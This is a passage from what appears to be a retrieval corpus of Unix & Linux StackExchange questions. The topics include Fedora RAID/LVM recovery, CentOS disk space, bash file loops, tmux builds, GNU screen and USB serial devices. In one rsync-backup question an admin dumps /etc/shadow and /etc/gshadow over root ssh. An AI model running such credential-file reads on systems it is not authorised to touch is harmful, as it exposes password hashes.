2000007725056 bytes 255 heads, 63 sectors/track, 243153 cylinders, total 3906265088 sectors Units = sectors of 1 * 512 = 512 bytes Disk identifier: 0x00000000 The kernel boot parameter that I have kernel /vmlinuz-2.6.30.10-105.2.23.fc11.x86_64 ro root=/dev/mapper/vg_localhost-lv_root rhgb quiet **On Fedora 15** I installed Fedora 15 on a new boot drive, on which the installation program also created an lvm (/dev/vg_20110912a/) for me, but again that's irrelevant. Under Fedora 15, `lvm`, `pvscan`, `vgscan` see nothing but the irrelevant boot drive. `mdadm`, however, shows something very strange -- the original raid is broken into three raid, and the combination is very puzzling. [root@localhost ~] # cat /etc/mdadm.conf # mdadm.conf written out by anaconda MAILADDR root AUTO +imsm +1.x -all [root@localhost ~]# pvscan PV /dev/sda2 VG vg_20110912a lvm2 [59.12 GiB / 0 free] Total: 1 [59.12 GiB] / in use: 1 [59.12 GiB] / in no VG: 0 [0 ] [root@localhost ~]# lvscan ACTIVE '/dev/vg_20110912a/lv_home' [24.06 GiB] inherit ACTIVE '/dev/vg_20110912a/lv_swap' [6.84 GiB] inherit ACTIVE '/dev/vg_20110912a/lv_root' [28.22 GiB] inherit [root@localhost ~]# vgdisplay --- Volume group --- VG Name vg_20110912a System ID Format lvm2 Metadata Areas 1 Metadata Sequence No 4 VG Access read/write VG Status resizable MAX LV 0 Cur LV 3 Open LV 3 Max PV 0 Cur PV 1 Act PV 1 VG Size 59.12 GiB PE Size 32.00 MiB Total PE 1892 Alloc PE / Size 1892 / 59.12 GiB Free PE / Size 0 / 0 VG UUID 8VRJyx-XSQp-13mK-NbO6-iV24-rE87-IKuhHH [root@localhost ~]# vgscan Reading all physical volumes. This may take a while... Found volume group \"vg_20110912a\" using metadata type lvm2 [root@localhost ~]# mdadm --detail --scan ARRAY /dev/md/0_0 metadata=0.90 UUID=153e151b:8c717565:fd59f149:d2ea02c9 ARRAY /dev/md/127_0 metadata=0.90 UUID=bebfd467:cb6700d9:29bdc0db:c30228ba [root@localhost ~]# ls -l /dev/md total 4 lrwxrwxrwx. 1 root root 8 Sep 13 02:39 0_0 -> ../md127 lrwxrwxrwx. 1 root root 10 Sep 13 02:39 0_0p1 -> ../md127p1 lrwxrwxrwx. 1 root root 8 Sep 13 02:39 127_0 -> ../md126 -rw-------. 1 root root 120 Sep 13 02:39 md-device-map [root@localhost ~]# cat /dev/md/md-device-map md126 0.90 bebfd467:cb6700d9:29bdc0db:c30228ba /dev/md/127_0 md127 0.90 153e151b:8c717565:fd59f149:d2ea02c9 /dev/md/0_0 [root@localhost ~]# mdadm --detail /dev/md/0_0 /dev/md/0_0: Version : 0.90 Creation Time : Tue Nov 4 21:45:19 2008 Raid Level : raid5 Array Size : 976762496 (931.51 GiB 1000.20 GB) Used Dev Size : 976762496 (931.51 GiB 1000.20 GB) Raid Devices : 2 Total Devices : 2 Preferred Minor : 127 Persistence : Superblock is persistent Update Time : Wed Nov 5 09:04:28 2008 State : clean Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Layout : left-symmetric Chunk Size : 64K UUID : 153e151b:8c717565:fd59f149:d2ea02c9 Events : 0.2202 Number Major Minor RaidDevice State 0 8 48 0 active sync /dev/sdd 1 8 16 1 active sync /dev/sdb [root@localhost ~]# mdadm --detail /dev/md/127_0 /dev/md/127_0: Version : 0.90 Creation Time : Wed Nov 5 18:26:25 2008 Raid Level : raid5 Array Size : 1953134208 (1862.65 GiB 2000.01 GB) Used Dev Size : 976567104 (931.33 GiB 1000.00 GB) Raid Devices : 3 Total Devices : 2 Preferred Minor : 126 Persistence : Superblock is persistent Update Time : Tue Sep 13 00:39:51 2011 State : clean, degraded Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Layout : left-symmetric Chunk Size : 64K UUID : bebfd467:cb6700d9:29bdc0db:c30228ba Events : 0.671154 Number Major Minor RaidDevice State 0 259 0 0 active sync /dev/md/0_0p1 1 0 0 1 removed 2 8 33 2 active sync /dev/sdc1 [root@localhost ~]# cat /proc/mdstat Personalities : [raid6] [raid5] [raid4] md126 : active (auto-read-only) raid5 md127p1[0] sdc1[2] 1953134208 blocks level 5, 64k chunk, algorithm 2 [3/2] [U_U] md127 : active (auto-read-only) raid5 sdb[1] sdd[0] 976762496 blocks level 5, 64k chunk, algorithm 2 [2/2] [UU] unused devices: [root@localhost ~]# mdadm --examine /dev/sdb1 /dev/sdb1: Magic : a92b4efc Version : 0.90.00 UUID : bebfd467:cb6700d9:29bdc0db:c30228ba Creation Time : Wed Nov 5 18:26:25 2008 Raid Level : raid5 Used Dev Size : 976567104 (931.33 GiB 1000.00 GB) Array Size : 1953134208 (1862.65 GiB 2000.01 GB) Raid Devices : 3 Total Devices : 3 Preferred Minor : 127 Update Time : Tue Sep 13 00:39:51 2011 State : clean Active Devices : 3 Working Devices : 3 Failed Devices : 0 Spare Devices : 0 Checksum : f1ddd04f - correct Events : 671154 Layout : left-symmetric Chunk Size : 64K Number Major Minor RaidDevice State this 0 8 17 0 active sync /dev/sdb1 0 0 8 17 0 active sync /dev/sdb1 1 1 8 49 1 active sync /dev/sdd1 2 2 8 33 2 active sync /dev/sdc1 [root@localhost ~]# fdisk -lu 2>&1 Disk /dev/mapper/vg_20110912a-lv_swap doesn't contain a valid partition table Disk /dev/mapper/vg_20110912a-lv_root doesn't contain a valid partition table Disk /dev/md127 doesn't contain a valid partition table Disk /dev/mapper/vg_20110912a-lv_home doesn't contain a valid partition table Disk /dev/sda: 64.0 GB, 64023257088 bytes 255 heads, 63 sectors/track, 7783 cylinders, total 125045424 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x0001aa2f Device Boot Start End Blocks Id System /dev/sda1 * 2048 1026047 512000 83 Linux /dev/sda2 1026048 125044735 62009344 8e Linux LVM Disk /dev/sdb: 1000.2 GB, 1000204886016 bytes 255 heads, 63 sectors/track, 121601 cylinders, total 1953525168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0xb03e1980 Device Boot Start End Blocks Id System /dev/sdb1 63 1953134504 976567221 da Non-FS data Disk /dev/sdc: 1000.2 GB, 1000204886016 bytes 255 heads, 63 sectors/track, 121601 cylinders, total 1953525168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x7db522d5 Device Boot Start End Blocks Id System /dev/sdc1 63 1953134504 976567221 da Non-FS data Disk /dev/sdd: 1000.2 GB, 1000204886016 bytes 255 heads, 63 sectors/track, 121601 cylinders, total 1953525168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x20af5840 Device Boot Start End Blocks Id System /dev/sdd1 63 1953134504 976567221 da Non-FS data Disk /dev/mapper/vg_20110912a-lv_swap: 7348 MB, 7348420608 bytes 255 heads, 63 sectors/track, 893 cylinders, total 14352384 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Disk /dev/mapper/vg_20110912a-lv_root: 30.3 GB, 30299652096 bytes 255 heads, 63 sectors/track, 3683 cylinders, total 59179008 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Disk /dev/md127: 2000.0 GB, 2000009428992 bytes 2 heads, 4 sectors/track, 488283552 cylinders, total 3906268416 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 65536 bytes / 131072 bytes Disk identifier: 0x00000000 Disk /dev/md126: 1000.2 GB, 1000204795904 bytes 255 heads, 63 sectors/track, 121601 cylinders, total 1953524992 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 65536 bytes / 65536 bytes Disk identifier: 0x20af5840 Device Boot Start End Blocks Id System /dev/md126p1 63 1953134504 976567221 da Non-FS data Partition 1 does not start on physical sector boundary. Disk /dev/mapper/vg_20110912a-lv_home: 25.8 GB, 25836912640 bytes 255 heads, 63 sectors/track, 3141 cylinders, total 50462720 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 My kernel boot parameter: kernel /vmlinuz-2.6.40.4-5.fc15.x86_64 ro root=/dev/mapper/vg_20110912a-lv_root rd_LVM_LV=vg_20110912a/lv_root rd_LVM_LV=vg_20110912a/lv_swap rd_NO_LUKS rd_NO_MD rd_NO_DM LANG=en_US.UTF-8 SYSFONT=latarcyrheb-sun16 KEYTABLE=us rhgb quiet rdblacklist=nouveau nouveau.modeset=0 nodmraid The last `mdadm --examine /dev/sdb1` shows exactly the same result as in Fedora 11, but I don't understand why `mdadm --detail /dev/md/0_0` shows only /dev/sdb and /dev/sdd, and `mdadm --detail /dev/md/127_0` shows /dev/sdc1 and /dev/md/0_0p1 . Since `mdadm --examine /dev/sdb1` shows the correct result, Fedora 15 is able to access the raid somehow, but I am not sure what to do. Shall I create/assembly a new raid /dev/md2 and hope that the `lvm` that I had created will magically show up? Thank you in advance."} {"_id": "20608", "title": "Increase Space of /usr directory in Cent OS", "text": "On my CentOS 5 server, `fdisk -l` outputs: Disk /dev/xvda: 100.0 GB, 100000595968 bytes 255 heads, 63 sectors/track, 12157 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/xvda1 1 487 3911796 83 Linux /dev/xvda2 488 731 1959930 82 Linux swap / Solaris /dev/xvda3 732 12157 91779345 8e Linux LVM and `df -h` outputs: Filesystem Size Used Avail Use% Mounted on /dev/xvda1 3.7G 1.4G 2.4G 37% / /dev/mapper/vg00-usr 4.0G 4.0G 20K 100% /usr /dev/mapper/vg00-var 4.0G 440M 3.6G 11% /var /dev/mapper/vg00-home 4.0G 269M 3.8G 7% /home none 512M 1.4M 511M 1% /tmp tmpfs 512M 0 512M 0% /usr/local/psa/handlers/before-local tmpfs 512M 0 512M 0% /usr/local/psa/handlers/before-queue tmpfs 512M 0 512M 0% /usr/local/psa/handlers/before-remote tmpfs 512M 16K 512M 1% /usr/local/psa/handlers/info tmpfs 512M 0 512M 0% /usr/local/psa/handlers/before-local tmpfs 512M 0 512M 0% /usr/local/psa/handlers/before-queue tmpfs 512M 0 512M 0% /usr/local/psa/handlers/before-remote tmpfs 512M 16K 512M 1% /usr/local/psa/handlers/info tmpfs 512M 0 512M 0% /usr/local/psa/handlers/spool My `/usr` drive doesn't have any free space, but `fdisk` shows 100GB of unused space. Can I use that space to increase the capacity of the `/usr` directory? How? And how can I remove unwanted files from `/usr`?"} {"_id": "146039", "title": "How to iterate through a list of files with spaces that is sorted (case insensitive)?", "text": "I am doing this in OSX which uses bash but obviously, not all bash conventions are used so hopefully your suggestion is available to me :) I have the following files 1. `fun bar1.txt` 2. `Foo bar2.tXT` (that's an uppercase XT) 3. `fun fun.txt` What I was is to iterate through the file list in a sorted manner? something like: for i in (my-sorted-file-list); do echo $i done Any ideas how this can be done? thanks a lot"} {"_id": "82695", "title": "How to paste same information into 2 different files?", "text": "I'd like to create two files in `/etc/skel` using a script which does many other things in addition to the creation of the files in `/etc/skel`. The part from script regarding `/etc/skel` looks like this: cat < /etc/skel/.vimrc :set nu set incsearch :set ignorecase :set smartcase :set ts=2 EOF I tried adding `&& /etc/skel/.virc` on the end of the first line in the script but to no avail. Is there any way to do that other than doing the whole `cat` again into the other file?"} {"_id": "81928", "title": "How to disable a mouse movement input, while leaving mouse buttons enabled?", "text": "I have a mouse I just use for the buttons. I want to disable only the movement input of the mouse. Physically covering the sensor doesn't work."} {"_id": "124478", "title": "How to randomize the output from seq?", "text": "I know I can use seq to generate a random list of numbers 1, 2, 3, 4... I want to get those numbers into a random order like 3, 1, 4, 2... I know I can use shuf to shuffle the lines of a file. So I could use seq to write random numbers to a file and then use shuf to shuffle them -- or write some sort of shuffle function. But this seems needlessly complex. Is there a simpler way to randomize the items in an array with a single command?"} {"_id": "101041", "title": "Does watch only monitor the visible output?", "text": "Does `watch` only monitor the visible output of a command? Say I'm in a directory with the following contents: $ ls a b c d e f g h i j k l m n If I run `watch -g ls -1` I expect it to exit if a file is added or removed. What actually happens is that it exits _only_ if the file in question is visible in the terminal output of `watch`: $ watch -g ls -1 Every 2.0s: ls -1 Wed Nov 13 16:35:03 2013 a b c d e f Deleting the file `m` which is not visible because of the size of my terminal does nothing. Deleting a visible file, say `d`, causes `watch` to exit as expected. The `-g` flag is explained thusly in my `man` page: -g, --chgexit Exit when the output of command changes. What's going on? Is this normal? How can I use `watch` for commands with long output? I am using `watch from procps-ng 3.3.4` which was installed from the Debian repos."} {"_id": "120999", "title": "Why do I need to specify two init images - initrd and boot - inside KVM to boot to bash?", "text": "My machine is running inside a KVM virtual machine (Parallels Desktop v8), having a BIOS (not UEFI), having one SATA drive connected, one GPT partition on that disk, the partition is ext4 formatted, the bootloader is extlinux v. 4.05, and the kernel is Ubuntu 13.10 package linux-image-3.11.0-18-generic. The system boots to (initramfs) prompt when only `initrd` and no `boot` argument is specified: (initramfs) cat /proc/cmdline initrd=/boot/initrd.img-3.11.0-18-generic ro quiet BOOT_IMAGE=/boot/vmlinuz-3.11.0-18-generic Only after inserting `boot=/dev/sda1` the system boots to bash prompt, as pointed out in the answer of question How to fix boot into initramfs prompt and \"mount: can't read '/etc/fstab': No such file or directory\" and \"No init found\"? I have read that the kernel is usually able to find its boot partition without additional configuration. Environment: $ sudo efibootmgr Fatal: Couldn't open either sysfs or procfs directories for accessing EFI variables. $ sudo modprobe efivars (no result) Faulty (initramfs) prompt: mount: can't read '/etc/fstab': No such file or directory mount: mounting /dev on /root/dev failed: No such file or directory mount: mounting /sys on /root/sys failed: No such file or directory mount: mounting /proc on /root/proc failed: No such file or directory The filesystem doesn't have requested /sbin/init. No init found. Try passing init= bootarg. (initramfs) cd /root || mkdir /root (initramfs) ### Update #1 - (initramfs) echo $(pwd) output (initramfs) cd /root && echo $(pwd) || mkdir /root? /root (initramfs) ### Update #2 - (initramfs) ls /dev output (initramfs) ls /dev vga_arbiter rfkill mem null port zero full random urandom kmsg tty console tty0-tty63 vcs vcsa vcs1 vcsa1 snapshot ecryptfs fuse ptmx ttyS0-ttyS31 ttyprintk hpet ram0-ram15 loop-control loop0-loop7 net ppp bus input psaux uinput rtc0 mapper mcelog cpu_dma_latency network_latency network_throughput pts core fd stdin stdout stderr btrfs-control char rtc sg0 bsg sda sda1 ### Update #3 - (initramfs) ls / && ls /*/ output (initramfs) ls / dev root conf bin etc sbin run init lib64 scripts lib sys proc tmp var (initramfs) ls /*/ /var/: lock /tmp/: /sys/: hypervisor kernel power block dev fs module firmware class devices bus /scripts/: panic init-bottom local-premount nfs functions local init-top /sbin/: blkid wait-for-root rmmod hwclock udevadm dumpe2fs modprobe /run/: /root/: /proc/: 1-130 142-148 167-169 219-231 233 243-245 248 self ounts net sysvipc fs driver tty bus sys cgroups irq mtrr fb acpi misc scsi mdstat execdomains ioports imem schedstat sched_debug timer_list timer_stats dma modules kallsyms latency_stats buddyinfo pagetypeinfo vmstat zoneinfo slabinfo vmallocinfo swaps filesystems locks cmdline consoles cpuinfo devices interrupts loadavg meminfo stat uptime version softirqs kcore kmsg kpagecount kpageflags version_signature key-users crypto diskstats partitions sysrq-trigger /lib64/: ld-linux-x86-64.so.2 /lib/: udev klibc-dev6iJxsMLkI8yu6xMVSFDIuVsJk.so x86_64-linux-gnu modules firmware systemd /etc/: modprobe.d ld.so.conf.d udev ld.so.conf ls.so.cache mtab /dev/: ...see above... /conf/: initramfs.conf arch.conf conf.d /bin/: kmod udevadm dmesg busybox poweroff fstype losetup ipconfig reboot halt sh run-init pivot-root date dd insmod nfsmount sleep mount cpio resume ### Update #4 - ls /scripts/* /conf/* /sys/firmware/*/ output (initramfs) ls /scripts/* /conf/* /sys/firmware/*/ /scripts/functions /scripts/local /scripts/nfs /conf/initramfs.conf /conf/arch.conf /sys/firmware/memmap/: 9 8 7 6 5 4 3 2 1 0 /sys/firmware/acpi/: hotplug tables pm_profiles interrupts /conf/conf.d: /scripts/panic: ORDER keymap /scripts/local-premount: ORDER fixrtc resume /scripts/init-top: ORDER all_generic_ide blacklist udev /scripts/init-bottom: ORDER udev Why isn't the kernel not able to find the boot partition in this case?"} {"_id": "120995", "title": "Equivalent of VINO in Red Hat", "text": "Vino is a VNC server which is installed by default on Ubuntu (Debian family). Is there a VNC Server installed by default on Red Hat, is it the same?"} {"_id": "81923", "title": "GNU Screen doesn't echo unicode characters correct", "text": "When I do this in my terminal: echo -e \"\\xF0\\x9f\\x8d\\xba\" I get a cool beer mug in my terminal: However, when I start screen, and try the same, I'm getting a \ufffd. How do I get the nice beer mug? This is my .screenrc: nethack on startup_message off defscrollback 3000 hardstatus on hardstatus alwayslastline hardstatus string \"%{.bW}%-w%{.rW}%n %t%{-}%+w %=%{..G} %H %{..Y} %m/%d %c\" termcapinfo xterm 'bc@:bs@' ignorecase on maptimeout 0 vbell off defutf8 on defencoding utf8 Also running screen with the `-U` option doesn't help."} {"_id": "81925", "title": "Can 32-bit and 64-bit CentOS 6.4 servers both be AD domain controllers for the same domain?", "text": "If I have two CentOS 6.4 servers, one i386 and the other x86_64, running Samba 4.0.7, will they replicate domain controller data with each other (and from a Windows Server 2003 AD DC) without any special setup? Can anyone confirm this or a similar setup as having worked?"} {"_id": "81927", "title": "Running VNC viewer without opening a console", "text": "Right now I have to open a console and type: xtightvncviewer [ip-address] to open the viewer. That's okay, but then I need to leave the console open or otherwise the viewer will close. I've tried: nohup xtightvncviewer [ip-address] & and: xtightvncviewer [ip-address] [ctrl-Z] bg In both cases, it pops up a little password dialog, and opens the viewer, but it's still dependent on the console being open. Is there a way to open xtightvncviewer as \"headless\"?"} {"_id": "120992", "title": "Why does \"cat ttyUSB0\" not produce output?", "text": "I connected an infrared receiver to a USB port ... (the last line of dmesg tells device file) $ dmesg [10496.596063] usb 7-2: new full-speed USB device number 2 using uhci_hcd [10496.751112] usb 7-2: New USB device found, idVendor=0df7, idProduct=0620 [10496.751117] usb 7-2: New USB device strings: Mfr=1, Product=2, SerialNumber=0 [10496.751120] usb 7-2: Product: USB-Serial Controller [10496.751124] usb 7-2: Manufacturer: Prolific Technology Inc. [10496.787441] usbcore: registered new interface driver usbserial [10496.787467] usbcore: registered new interface driver usbserial_generic [10496.787483] usbserial: USB Serial support registered for generic [10496.795104] usbcore: registered new interface driver pl2303 [10496.795129] usbserial: USB Serial support registered for pl2303 [10496.795160] pl2303 7-2:1.0: pl2303 converter detected [10496.807238] usb 7-2: pl2303 converter now attached to ttyUSB0 Then I went on to try it ... $ sudo cat /dev/ttyUSB0 but no output, simply hangs. Even though, as I press any button on my remote control, the infrared receiver device's LED flashes, so that does seem to work. Why could that be? * * * notes: * the above command quits when I remove device from USB port and prints \"cat: ttyUSB0: No such device\", and dmesg prints 3 lines: [13707.264086] usb 7-2: USB disconnect, device number 2 [13707.264894] pl2303 ttyUSB0: pl2303 converter now disconnected from ttyUSB0 [13707.264915] pl2303 7-2:1.0: device disconnected) * with the device files for keyboard this works, eg: $ sudo cat /dev/input/by-id/usb-USB_USB_Keykoard-event-kbd produces many weird characters on the console as I press any key the keyboard * same happens on other USB ports too"} {"_id": "118969", "title": "A shell-like environment for binary processing", "text": "This question came to me a couple of times before, now in response to the question Loop through binary data chunks from stdin in Bash Answers given in http://stackoverflow.com/questions/993434/what-language-is-to-binary-as-perl- is-to-text were also not satisfactory. I'm looking for a scripting environment suited specifically to handle I/O with binary files. I know I can use one of the fully-fledged programming languages (c/Python/...) but they have an enormous initialization and coding overhead (allocation and fread/fwrite in c, bitstrings in Python...) not to mention they are less suited for scripting (calling other applications from it). Perl is no better with its `unpack` functions, string-oriented operation and goofy syntax. Something like `od`, but as a language. What I expect: 1. set or change endianness with a single switch/command. 2. simple specification of requested type (something like extending bash `read var` with `int32 var`, `float var` etc.). 3. handling of binary through pipes, skipping of specified number of bytes. 4. standard scripting flow control (for/if/...) that we are used to. I'd like to process raw data (photography, scientific data, unknown and poorly documented formats) with the same ease and insight that you get when inspecting ASCII files. I'm using `c` now, but it's not optimal for ad-hoc scripting, and can't be interactive. Does anyone know a tool like that? No clicky GUI software, please, it needs to work over ssh, from other scripts and so on. \"Does not exist\" is an acceptable, but depressing answer."} {"_id": "146035", "title": "Different between `ulimit -e` and `renice`?", "text": "I would like to run a backup script in low CPU and disk I/O. Is there any different between this: #!/bin/bash ulimit -e 19 ionice -c3 -p $$ and this: #!/bin/bash ionice -c3 -p $$ renice -n 19 -p $$"} {"_id": "101044", "title": "present users a login prompt? /bin/login? getty?", "text": "I have a service that execs a command when a user connects to it through a socket, and redirects everything it receives to the executed program. It works ok with shells like bash, giving the user a remote shell. Instead of forking bash or sh, I'd like to run something that asks for user and password, like `/bin/login` Is that the correct command to run? Isn't there anything that a non-root service could use to do the same? I thinks `getty` calls `/bin/login`, but can I just run it as a user? I guess I could install telnetd and redirect to `telnet localhost` but I'd rather not run a telnet server."} {"_id": "118963", "title": "How to install language support in TexLive on Debian Wheezy?", "text": "I'd like to use the babel-croatian package which is available for download on CTAN. But how do I install this package? Or perhaps there is a command-line way?"} {"_id": "146032", "title": "Multiple instances of Postfix throwing error fatal: unknown service: smtp/tcp", "text": "I am trying to configure multiple postfix-2.12 instances on FreeBSD 10.0-RELEASE following the README. postmulti -e init postmulti -I postfix-out -G mta -e create ... This all works I can start and stop instances everything seems good. When I test sending an email locally using telnet. Postfix logs the following `fatal: unknown service: smtp/tcp` error. The configuration files are vanilla no chroot in master.cf. mynetworks = 127.0.0.1/8 192.168.5.0/24 If I run postfix as a single instance everything works fine. So postfix can read `/etc/services` when run as a single instance. The spool directory that is created with postmulti looks identical to postfix spool dir. I have been hammering at this for way too long. Has anyone implemented multiple instances of postfix on FreeBSD or can give some suggestions?"} {"_id": "118961", "title": "How to install libevent tmux?", "text": "I've been trying to install libevent / ncurses / tmux into '$HOME/local', but am having an issue running .configure for tmux. What I am trying to do is install it as follows: TMUX_VERSION=1.8 ############ # libevent # ############ tar xvzf libevent-2.0.19-stable.tar.gz cd libevent-2.0.19-stable ./configure --prefix=$HOME/local --disable-shared make make install cd .. ############ # ncurses # ############ tar xvzf ncurses-5.9.tar.gz cd ncurses-5.9 ./configure --prefix=$HOME/local make make install cd .. ############ # tmux # ############ tar xvzf tmux-${TMUX_VERSION}.tar.gz cd tmux-${TMUX_VERSION} ./configure CFLAGS=\"-I$HOME/local/include -I$HOME/local/include/ncurses\" LDFLAGS=\"-L$HOME/local/lib -L$HOME/local/include/ncurses -L$HOME/local/include\" I've managed to get this far, but keep getting an error with the line above saying it can't find libevent. Now I have checked $HOME/local/lib and it contains the following files: libevent.a libevent_core.la libevent_pthreads.a libform_g.a libncurses++.a libpanel.a terminfo libevent.la libevent_extra.a libevent_pthreads.la libmenu.a libncurses.a libpanel_g.a libevent_core.a libevent_extra.la libform.a libmenu_g.a libncurses_g.a pkgconfig So it looks like libevent is installed. The rest of the code is below, which I haven't got to just yet. CPPFLAGS=\"-I$HOME/local/include -I$HOME/local/include/ncurses\" LDFLAGS=\"-static -L$HOME/local/include -L$HOME/local/include/ncurses -L$HOME/local/lib\" make cp tmux $HOME/local/bin cd .. Anyone know what the issue could be? Thanks!"} {"_id": "104033", "title": "How to backup /etc/{,g}shadow files with 0000 permission?", "text": "I am trying to backup several servers' `/etc` by using `rsync` from another server. Here's a relevant snippet: PRIVKEY=/path/to/private.key RSYNC_OPTS=\"--archive --inplace --no-whole-file --quiet\" ssh -n -i $PRIVKEY root@${ip} \"rsync $RSYNC_OPTS /etc 192.168.25.6::\"'$(hostname)' where `${ip}` is the IP Address of the server to be backed up, while `192.168.25.6` is the IP Address of the server holding the backup. Everything went well, except for `/etc/{,g}shadow` files on some servers. Since their permissions are `0000`, rsync seems to not want to read them (\"Permission denied (13)\" errors). A quick check using the following: ssh -i $PRIVKEY root@${ip} \"cat /etc/{,g}shadow\" successfully dumped the files. Is there a way to get round this rsync limitation? * * * **EDITs** The backup server is Ubuntu 12.04. The servers to be backed up are a smorgasbord of Ubuntu, RHEL, OEL, and CentOS servers. I've tried adding `-t` to the ssh options, and prefixed rsync with `sudo`, but still have the same errors."} {"_id": "80038", "title": "what is the structure of a linux process?", "text": "what is the structure of a linux process? In linux there are processes executed on a address and which use system resources. Can anyone tell me the structure of a process and which parameter processes share during execution?"} {"_id": "136187", "title": "How to know if /dev/hda2 is Primary partition or Extended partition", "text": "If all four primary partitions exist on an IDE drive, they are numbered as follows: * /dev/hda1 * /dev/hda2 * /dev/hda3 * /dev/hda4 We have also the partitions on a disk with one primary partition and the sole extended partition might be numbered as follows: * /dev/hda1 (primary) * /dev/hda2 (extended) This naming strategy leads to confusion : How it is named : `/dev/hda2` in both of cases : * Primary partition * Extended Partition Another way to express the issue : How to distinct if it is primary or extended partition"} {"_id": "118965", "title": "How to create a Debian live USB with persistence?", "text": "I would like to use Debian wherever I go by installing it on a USB flash drive, but I'm not sure how to make it save the settings and be able to install/update packages without loosing them on reboots. So I downloaded a Hybrid ISO image from this link, and I followed the instructions in the FAQ: dd if=image.iso of=/dev/sdb bs=4M; sync This command copied the image to the flash drive by creating a partition which size is the same as the ISO image (1.3 GB out of 8GB), and the rest of the flash drive is unallocated. I searched on how to do this, but every tutorial uses a different approach and some of them are outdated and talk about the old usb-hdd image. So how should I install this hybrid image on the flash drive ? How should I partition my flash drive to be able to install packages and save settings ? and how can I install this image without using `dd` ?"} {"_id": "116019", "title": "Why are rules not combining in an ssh config file?", "text": "It seems like the following would work as expected, i.e., that the second rule, having a hostname that matches the first rule, would apply it. Host *.hostname.com User myuser IdentityFile ~/.ssh/myidentity Host blah HostName complicated.hostname.com However typing `ssh blah` only applies the second rule (and not the user or identity file of the first one). I have two questions: 1. Why is this happening? 2. Is it possible to (simply) do what I am trying to do?"} {"_id": "128778", "title": "Arguments, options and dashes", "text": "Why do console applications get the arguments started with either: a) one dash (myapp -arg1 123; ls -al) b) two dashes (myapp --arg1 123; git push origin master --force) c) without dashes at all (myapp 123; man ls) d) without dashes but with the equal sign (myapp arg1=123; dd if=/dev/zero) Isn't there a standard convension? Even among the standard Linux applications all three cases a), b) and d) do exist at the same time. And it's tough to remember when I should use, for example, `-help` and when `\\--help`."} {"_id": "139652", "title": "user input not accepted in nested case statement", "text": "I am trying to create a nested case statement in which user input is expected (Y/N). However, the system never waits for the input and always goes to the third option, \"Please answer yes or no\". Can anyone tell me what I am missing? Here is the case statement #!/bin/bash SERVSTAT=/mnt/support/scripts/log/serverstatus.txt FUSE_PATH=/home/jet/instances/ LOG=data/log/karaf.log echo \" \" > $SERVSTAT STATUS=status find /etc/init.d/* -name '*service' -print0 | while IFS= read -r -d '' FILE; do if [ \"$FILE\" != \".\" -o \"$FILE\" != \"..\" ]; then APP_NAME=`echo ${FILE:12} | sed 's/-service//'` OUTPUT=$($FILE $STATUS) case \"$OUTPUT\" in *not* ) echo \"Do you wish to start $APP_NAME ?\" read yn case $yn in [yY] | [yY][Ee][Ss] ) $FILE start tail -f $FUSE_PATH/$APP_NAME/$LOG ;; [nN] | [n|N][O|o] ) ;; * ) echo \"Please answer yes or no.\";; esac ;; * ) echo \"App $APP_NAME is running\" esac fi done I'm Trying to execute this in RHEL 6"} {"_id": "135064", "title": "How to use one variable's name to refer to another variable?", "text": "a=2 pt2=3 echo $a 2 echo $pt2 3 How can I use echo $pt($a) to print the contents of `pt2`? An alternative is b=pt$a echo $b pt2 echo $[$b] 3"} {"_id": "97875", "title": "return the numeric value of a indexed variable rather than its name", "text": "The following piece of code illustrates my problem I'm afraid I oversimplified it way too much in the first round. #!/bin/bash dogLover=1 catLover=2 for ii in dog cat do petLover=${ii}Lover echo (evaluate $petLover) done I want the code to return the numeric values 1 and 2 rather than dog and cat. Presumably this is easy to do, but I can't seem to see how on the web. What I really need is a bash equivalent of the \"eval\" command in matlab"} {"_id": "46987", "title": "Passing arguments with quotes and doublequotes to bash script", "text": "At this moment I have: #!/bin/bash screen -p 'ScreenName' -x eval 'stuff '\"'\"$@\"'\"'\\015' echo eval 'stuff '\"'\"$@\"'\"'\\015' But when I call my script as: # script.sh asd \"asd\" 'asd' my arguments passed as: **asd asd asd** and I get output: eval stuff 'asd asd asd'\\015 _I except a: **asd \"asd\" 'asd'_** How I can change my script to pass whole arguments line with all quotes?"} {"_id": "46985", "title": "Home folder structure in Ubuntu 12.04.1?", "text": "Long story short, i just accidentally deleted my entire home folder. Thankfully it seems like the hidden files are still there. I'm not sure, but aren't all of the folders within the home folder (Desktop, Downloads and whatever else is in there) empty by default? If that is the case, could some super nice person just name all of the files located in the home folder so that i can rebuild it? Thanks a bunch in advance"} {"_id": "85002", "title": "What value is stored in linux xtime variable?", "text": "Whenever I print the value of `/proc/interrupts` the value of `rtc0` in `IRQ8` which is for RTC shows only 1 interrupt on CPU0. I have read that when booting the value of the xtime variable is stored from the Real time Clock and whether this interrupt is 1 because of this? And also what would be the value of the xtime variable? Is it the number of seconds passed after epoch?"} {"_id": "128770", "title": "Change the HOME of a user during a graphical session", "text": "The other day I had the idea to create display manager independent guest session. My basic idea was to change the login shell to a custom program that creates a temporary home on the fly (f.e. `/tmp/guest-XXXXXX`) and assign this session that home. After the user 